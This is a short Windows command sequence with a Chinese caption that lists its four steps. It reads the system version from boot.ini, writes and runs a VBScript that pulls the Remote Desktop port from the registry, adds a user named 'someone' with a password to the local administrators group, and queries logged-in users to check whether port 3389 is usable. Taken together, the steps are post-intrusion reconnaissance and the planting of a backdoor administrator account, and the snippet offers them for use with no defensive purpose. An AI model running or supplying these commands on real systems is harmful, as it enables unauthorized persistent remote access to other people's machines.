type c:\boot.ini
Echo Dim ReadComputerName >>port.vbs
Echo Set ReadComputerName=WScript.CreateObject("WScript.Shell") >>port.vbs
Echo Dim TSName,TSRegPath >>port.vbs
Echo TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" >>port.vbs
Echo TSName=ReadComputerName.RegRead(TSRegPath) >>port.vbs
Echo WScript.Echo("TermService port is:"^&TSName) >>port.vbs
Cscript port.vbs
 net user someone password /add
 net localgroup administrators someone /add
 net localgroup administrators
 query user
 
功能为:
(1)查看系统版本
(2)查看3389端口
(3)添加并查看管理员用户
(4)查看3389是否可用。